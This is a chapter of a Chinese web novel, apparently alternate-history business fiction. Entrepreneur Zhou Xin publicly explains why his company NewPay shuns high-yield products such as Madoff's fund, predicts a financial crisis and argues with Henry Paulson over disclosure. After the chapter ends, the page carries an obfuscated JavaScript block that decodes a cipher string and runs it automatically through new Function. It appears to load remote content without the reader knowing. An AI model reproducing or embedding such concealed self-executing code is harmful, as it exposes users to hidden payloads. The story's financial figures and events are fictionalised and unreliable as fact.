周新感到一阵无语,你这不是想让我用我的信誉帮你们的错误买单吗?这不是在逗我呢?
难道我还要帮你站出来说,伯纳德没问题,还要麻烦我来帮想一个理由?
别说周新有上帝视角,知道麦道夫对冲基金是庞氏骗局,哪怕他不知道,也不可能在这种时候消耗自己的信誉来帮别人。
随着百度在麦道夫这个坑里越陷越深,新兴投资已经把百度的股票卖的差不多了,手上就剩下一点微不足道的股份。
因为周新算是百度最早的投资者,加上周新在硅谷的声望,百度还是给他留了一个董事会席位。
即便如此,周新都不可能站出来帮百度发声。
当然火蔓延到NewPay上,周新被大量@,周新不会直接说麦道夫是骗子,因为现在没有任何证据。
周新还是想说两句:“我不知道麦道夫对冲基金是怎么回事,NewPay之所以不和麦道夫合作,是因为麦道夫的理财产品给的利率太高了。”
周新发完后,又发了个图片长图:
“我发现短微博没办法把事情讲清楚,鉴于对冲类基金、次级抵押贷款、房地产投资信托这一系列的理财产品面临着前所未有的危机,我想和大家讲讲我的想法。
首先是为什么NewPay不和麦道夫合作。前面那条短微博发出去之后,大家可能会产生误解,认为麦道夫的利率过高,这不正常。
我并没有这个意思,NewPay不仅仅不和麦道夫合作,我们不和所有利率在5%以上的理财产品合作,NewPay的金融产品服务团队会对每一款要登陆NewPay渠道的理财产品进行充分的背景调查和风险分析。
我们暂时只开放中低风险的理财产品,NewPay需要确认每一款理财产品的底层资产,它的风险系数是在可控范围内。
麦道夫对冲基金是因为不符合NewPay的经营策略,所以我们不和麦道夫合作。
现在就是第二个问题,为什么我和彼得会为NewPay理财渠道定下这样的经营策略?在互联网金融创新上一向表现激进的NewPay会在理财渠道上表现得如此保守?
这个问题在NewPay内部董事会上,很多董事会成员都问过我,我是这样回答他们的,因为NewPay的用户基数太大,我们面对的是全美的用户。
这些用户,他们缺乏对理财产品的风险识别能力,即便标识了高风险,只要宣传做的足够好,他们会做出盲目的决策,一旦出现意外,他们将为意外买单。
比如说某款金融产品由著名金融机构发行,声称利率大概率超过8%,像最近破产的那两家对冲基金。
缺乏风险识别能力的用户只会看到8%的收益,只会看到大概率,而不会注意到风险。
NewPay是一家互联网金融机构,同时我们更加要承担起责任,由NewPay来帮大家尽可能隔绝风险。
最后一个问题,那就是现在是不是金融危机,会不会造成世纪之交的时候那么大的影响,我认为会。”
这篇长微博发出后,大量惴惴不安的投资者,尤其是在过去因为互联网渠道购买金融产品,而损失本金的投资者,给予了NewPay和周新极高的评价。
那两家破产的对冲基金,同样在互联网渠道上发售过他们的产品,并且也有不少投资者买了。
“还是得看Newman,这觉悟不是其他企业管理者能比的。”
“社会责任感这东西说起来轻飘飘的,很多企业都说自己要承担社会责任感,但是真正做到的又有多少呢?
Newman这么多年能在硅谷屹立不倒,无论是能力还是人品都无可挑剔。”
当彼得蒂尔不愿意和麦道夫合作之后,周新在离开硅谷前就和彼得定下了这样的战略方向,一直以来NewPay对于理财渠道的产品都是严格管控的状态。
以至于这块的市场份额做得很一般,无论是营收还是利润甚至还不如
至于微信支付,微信支付更是只上了一款类似余额宝的货币基金。
微信支付还好,背后的腾讯周新有绝对的控制权。
NewPay则不然,为了扩张,NewPay引进了太多股东,而销售理财产品是电子支付公司来钱最快的方式。
这也导致NewPay的稳健经营策略一直被诟病,要不是采取A/B股的架构,周新早就被董事会给架空了。
至于为什么设置5%的线,是因为如果没有限制,即便有彼得和他持有同样的意见,风险管控部门也可能私下搞事。
百度之所以和麦道夫深度绑定,和乔治雷耶斯私下收了麦道夫的好处有着直接关系。
而NewPay设置的线,决定了金融机构们没有动力去收买NewPay的风险管控部门。
5%的线,也意味着金融机构的底层资产有着严格控制。
周新公开回应后,该微博迅速在全球的舆论界传播开来,大家都有不同的解读。
专业人士和普罗大众们关注的是周新的最后一句话,他认为金融危机将要到来,会比2000年那次纳斯达克泡沫破裂还要更加严重。
业内人士就没有敢说周新不懂金融的。
在世纪之交时,新兴投资提前预判,大量购买标普500工业指数成分股的操作,后来在业内被曝出来,华尔街认为这是神来之笔。
随着新兴投资的规模越来越大,这家以管理周新旗下财富为主的投资机构,在2006年开始大量抛售股票,转而购买黄金和长期国债,让华尔街的金融机构们意识到周新不仅是这么认为的,而且也是这么做的。
老实说,大家都知道危机要来,但是危机多严重,什么形势,没人能预判。
大量购买黄金这个行为,证明了周新预判将会非常不乐观。
而购买了麦道夫为主的高收益理财产品的投资者,则开始关心起他们购买的理财产品底层资产到底是什么。
有没有最近频频暴雷的次贷产品。
“我作为业内人士,我在离开高盛以前代表高盛,出任过NewPay的董事会代表,我可以给大家一个我们当时内部估计的数字。
一百亿,每年因为拒绝那些给予高昂佣金的金融机构,NewPay要损失一百亿美元。”约翰塞恩发表微博说。
他之前是高盛的总裁,现在跳到美林证券担任CEO,他之前一直诟病NewPay在理财产品上的保守。
他的发言进一步佐证了周新的格局和操守。
周新的言论进一步带动了股票市场的暴跌,阿美利肯和华国的股市都创下千禧年以来最大单日跌幅。
周新的微博就像是吹响了资本市场暴跌的号角一样,股票市场的寒气进一步传导到其他资本市场,股票市场暴跌进一步导致投资者对对冲基金更加怀疑了。
来自阿美利肯乃至全球各地的投资者正在包围麦道夫对冲基金和百度的总部,他们要求麦道夫透露底层资产,透露具体的资金情况。
对冲基金的盈利模式在于模型,你同时做多和做空,来保证收益。简单来说,你不可能完全一半做空,一半做多,还是会有偏向性,你做空多于做多,然后市场又暴跌,那你会有一个很可观的收益。
举一个很简单的例子,有一类猜第二天股票指数涨跌的基金,股票指数涨的话,A基金的收益是7%,股票指数跌,A基金的收益是2%,这算是很简单的对冲基金案例。
麦道夫能长期保持在12%以上,那需要他绝大多数时间都把握住了股票市场的涨跌。
更重要的在于,他管理的资产规模高达6000亿美元,在股市暴跌的情况下,他要赚取年化12%的收益,只有做空,做空是要有对手盘的,也就是说他赚这么多,意味着和他做对手盘的公司得亏720亿美元。
有资格和麦道夫对冲基金做对手盘的公司也就那么多,购买麦道夫理财产品的人不乏金融从业人士和专业机构。
原时空那帮金融机构,金门资产管理公司、西班牙桑坦德银行、汇丰集团、法国巴黎银行、野村证券等等,因此在股市暴跌之后,大家都开始打听,麦道夫有没有做空。
结果就是,没人知道麦道夫有和哪家金融机构做空,明面上的消息没有,私下消息同样没有。
“Newman,你不应该站出来说这些的。”亨利通过跨国电话向周新表达他的不满。
亨利是亨利保尔森,他已经从高盛跑到Nash政府担任财政部长了,前年才来,干了一年多就遇上史无前例的巨坑。
周新说:“亨利,你懂我的,我是个好人,我想告诉人们一点真相,哪怕只是一点。
正如我微博中说的那样,普通人缺乏风险意识和风险识别能力,即便身处金融危机中,也还是抱有幻想,或者按照自己的理解来认识世界。
精英们把普通人的血肉当成自己过冬的食物,通过点亮火柴来让普通人对寒冬产生错觉,我只不过把现在是冬天给说了出来。
这并没有错。”
周新很坦诚,他很长一段时间看不惯这种行为,因为他也是靠着学习变得富有。
但富有后,这种富有也不过是让他变成了所谓的中产阶级,实际上掌握的社会资源极其有限。因为创业踩中了时代风口,身边来往的不乏“上层人士”。
从这些“上层人士”的沟通中,周新知道这些人和普通人虽然还是同一个物种,但掌握的资源让他们之间有着无法逾越的壁垒。
有一句话说的很好,动上层的利益如同夺取他们的生命,改变底层的观念如同掘他们的祖坟,而底层的观念正是上层财富的来源,试图说透这一切的人,是他们共同的敌人。
上层通过种种手段来蒙蔽底层的认知,进入到自媒体时代后,不乏窥探到世界真相的人以及上层的个体把这些真相透露给底层。
周新现在就在试图扮演这个角色。
因为隔着电话,周新并不知道亨利在白宫一脸疲惫的样子,和他在高盛的时候比起来至少老了十岁。
“Newman,你告诉底层现在我们正处于金融危机当中,这并不能帮他们做出正确的决定,反而会让他们徒增烦恼。”
周新问:“亨利,老实说现在是不是正在危机当中?”
亨利回答道:“是。”
他知道他和周新是处于同一个阶层,大家的信息是共享的,他不可能说瞎话,这是不尊重对方也是不尊重自己。
周新说:“我不过是把事实说出来,我不需要在乎他们知道后是不是会徒增烦恼。
我知道你的意思,绝大多数普通人,没有割肉的决心,他们即便知道现在是金融危机,也不会立刻抛售股票,而是会抱有幻想。
能做到行动和认知一致的人太少。但这不是我们要掩饰现实的理由,危机已经前所未有的严重,我们需要做的是面对危机。”
亨利叹气:“你说的没错,但是民众知道越多,他们有可能会产生一些过激行为,进而影响到我们的救市计划。
而且你已经影响到相当一部分投资者,正在想方设法的赎回他们购买的理财产品,市面上的流动性将进一步紧缩。”
周新笑道:“看来我的话还是有作用。”
亨利继续说:“尤其是麦道夫,我们有理由怀疑,麦道夫对冲基金是一项史无前例规模的庞氏骗局。
根据联邦金融监管机构的调查,麦道夫一直到2004年以前,他旗下的对冲基金从来没有做过任何操作,他只是单纯的把钱存在银行,然后靠本金去给投资者兑付所谓的收益。
这套庞氏骗局被他维系了二十年,而互联网金融的出现,帮助他将庞氏骗局的规模再度扩大了十倍,这太可怕了。
这将是前所未有的危机。
我们需要时间来处理这一危机,你的言论让我们没有时间了。”亨利保尔森的语气充满了沮丧。
如此大的泡沫,不知道会引发多么严重的后果。
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();